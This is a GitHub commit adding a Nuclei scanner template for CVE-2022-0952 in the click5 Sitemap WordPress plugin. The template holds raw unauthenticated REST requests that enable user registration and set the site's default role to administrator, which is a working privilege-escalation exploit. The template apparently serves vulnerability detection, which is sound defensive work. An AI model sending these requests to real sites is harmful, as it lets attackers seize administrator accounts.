Merge pull request #4156 from projectdiscovery/CVE-2022-0952

Create CVE-2022-0952.yaml
patch-1
Prince Chaddha 2022-07-27 23:11:23 +05:30 committed by GitHub
commit 3cf6ce3a9e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 47 additions and 0 deletions

View File

@ -0,0 +1,47 @@
id: CVE-2022-0952
info:
name: Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update
author: random-robbie
severity: high
description: |
The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin
reference:
- https://wpscan.com/vulnerability/0f694961-afab-44f9-846c-e80a0f6c768b
- https://nvd.nist.gov/vuln/detail/CVE-2022-0952
metadata:
verified: true
tags: cve,cve2022,wordpress,wp,wp-plugin,sitemap
requests:
- raw:
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
{"users_can_register":"1"}
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
{"default_role":"administrator"}
- |
POST /wp-json/click5_sitemap/API/update_html_option_AJAX HTTP/1.1
Host: {{Hostname}}
Content-type: application/json;charset=UTF-8
{"users_can_register":"0"}
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(all_headers, "application/json")'
- "status_code == 200"
- "contains(body_1, 'users_can_register')"
- "contains(body_2, 'default_role')"
condition: and